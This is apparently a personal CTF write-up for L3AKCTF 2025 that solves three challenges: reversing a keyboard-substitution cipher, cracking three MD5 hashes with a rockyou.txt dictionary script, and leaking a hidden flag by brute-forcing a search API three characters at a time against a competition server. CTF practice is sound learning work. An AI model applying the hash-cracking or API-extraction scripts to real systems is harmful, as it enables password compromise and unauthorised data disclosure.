L3AKCTF 2025 | Writeup
First of all, thanks to L3akCTF for helping me to restart my CTF journey once again. There were a vast number of challenges on the website…
L3AKCTF 2025 | Writeup
First of all, thanks to L3akCTF for helping me to restart my CTF journey once again. There were a vast number of challenges on the website, and I enjoyed solving some of them with the help of our team.
I will discuss the challenges that I solved in this CTF

1. babyRev
This is first challenge that I figured out how to solve.
Firstly, I did a strings on the file, there I got the encoded flag

Then I tried ROT decoding to get the flag but I failed it. tried different decoding-encoding, I got a hint from ChatGPT, it’s remap something like this,

then I took an automated script from ChatGPT to do it, there I got
remap = {
'a': 'q', 'b': 'w', 'c': 'e', 'd': 'r', 'e': 't', 'f': 'y',
'g': 'u', 'h': 'i', 'i': 'o', 'j': 'p', 'k': 'a', 'l': 's',
'm': 'd', 'n': 'f', 'o': 'g', 'p': 'h', 'q': 'j', 'r': 'k',
's': 'l', 't': 'z', 'u': 'x', 'v': 'c', 'w': 'v', 'x': 'b',
'y': 'n', 'z': 'm'
}
# Build inverse map
inverse_remap = {v: k for k, v in remap.items()}
encrypted_flag = "L3AK{ngx_qkt_fgz_ugffq_uxtll_dt}"
def decode_flag(s):
result = ""
for ch in s:
if ch.islower():
result += inverse_remap.get(ch, ch)
else:
result += ch
return result
decoded = decode_flag(encrypted_flag)
print("Decoded flag:", decoded)
After running this script, you will get the flag
2. Mildly Disastrous 5ecurity
In this challenge you have to just dehash the 3 passwords using rockyou.txt wordlist with MD5 methods, you can use any tools for this like hashcat or others.
I did it using an automated script with the help of one and only friend (ChatGPT :) )
import hashlib
# MD5 hashes to crack
target_hashes = {
"53e182cbd4daa6680f1a7c7b85eba802",
"1bfcbffaf03174f022225a62ddf025a8",
"1853572d1b6ae6f644718a6b6df835f9"
}
# Path to your rockyou.txt wordlist
wordlist_path = "rockyou.txt"
# Load the wordlist and try cracking the hashes
def crack_md5_hashes(wordlist_path, target_hashes):
cracked = {}
try:
with open(wordlist_path, "r", encoding="latin-1") as file:
for line in file:
word = line.strip()
hash = hashlib.md5(word.encode()).hexdigest()
if hash in target_hashes:
cracked[hash] = word
print(f"[+] Cracked: {hash} -> {word}")
# Optional: Stop early if all are cracked
if len(cracked) == len(target_hashes):
break
except FileNotFoundError:
print("[-] Wordlist not found. Make sure 'rockyou.txt' is in the correct path.")
# Report results
for h in target_hashes:
if h not in cracked:
print(f"[-] Not cracked: {h}")
return cracked
# Run the cracker
if __name__ == "__main__":
crack_md5_hashes(wordlist_path, target_hashes)
3. Flag L3ak
In this challenge, what I did was first visit the website

And figuring out , how to get the flag, like visiting the source page , robot.txt, inspecting cookies and network, when I inspected the source page, there I got a hint that I have to use search bar to get the flag some kind of API stuff
Then I used the search bar, when I searched for something more than 3 characters, it showed me an error message

It must be 3 characters, then I tried to guess the flag and it’s worked like
we knew that flag format is L3AK{…} then I guess it like “L3A” then “3Ak” then “AK{“ and so on take 2 past words and one random word/number/symbal to guess the next words and get a automate script for this
import requests
import time
import string
BASE_URL = "http://34.134.162.213:17000" # Replace with target URL if different
# Include all printable ASCII characters to cover all possibilities
CHARS = string.printable
def search(query):
url = f"{BASE_URL}/api/search"
data = {"query": query}
try:
response = requests.post(url, json=data)
if response.status_code == 200:
results = response.json().get('results', [])
for post in results:
if post.get('id') == 3: # Only care about the post containing the real flag
return True
return False
elif response.status_code == 400:
print(f"Bad request for query {query}: {response.json().get('error')}")
return False
else:
print(f"Unexpected status code: {response.status_code} for query {query}")
return False
except Exception as e:
print(f"Error: {e}")
return False
def extract_flag():
known = "L3A" # Known prefix of the flag format
MAX_LENGTH = 50
DELAY = 0.1 # Delay between requests to avoid rate-limiting
while len(known) < MAX_LENGTH:
prefix = known[-2:] # Last two characters of known flag
found = False
for c in CHARS:
candidate = prefix + c
if search(candidate):
known += c
found = True
print(f"Found next char: '{c}', known: {known}")
# Stop when we find the closing brace
if c == '}':
return known
break
time.sleep(DELAY)
if not found:
print("Could not find next character")
break
return known
if __name__ == "__main__":
flag = extract_flag()
print(f"Flag: {flag}")
That’s it; I will try more challenges in the next CTF. I hope so, and then I will write a write-up for that.
Thanks for reading this write-up so far ;)
메타데이터
- post_id
- 9ce0ea1bcf0f
- slug
- l3akctf-2025-writeup-9ce0ea1bcf0f
- url
- https://medium.com/@thejuggler35/l3akctf-2025-writeup-9ce0ea1bcf0f
- canonical_url
- https://medium.com/@thejuggler35/l3akctf-2025-writeup-9ce0ea1bcf0f
- author_url
- https://medium.com/@thejuggler35
- status
- ok
- fetched_at
- 2026-07-29 04:21:30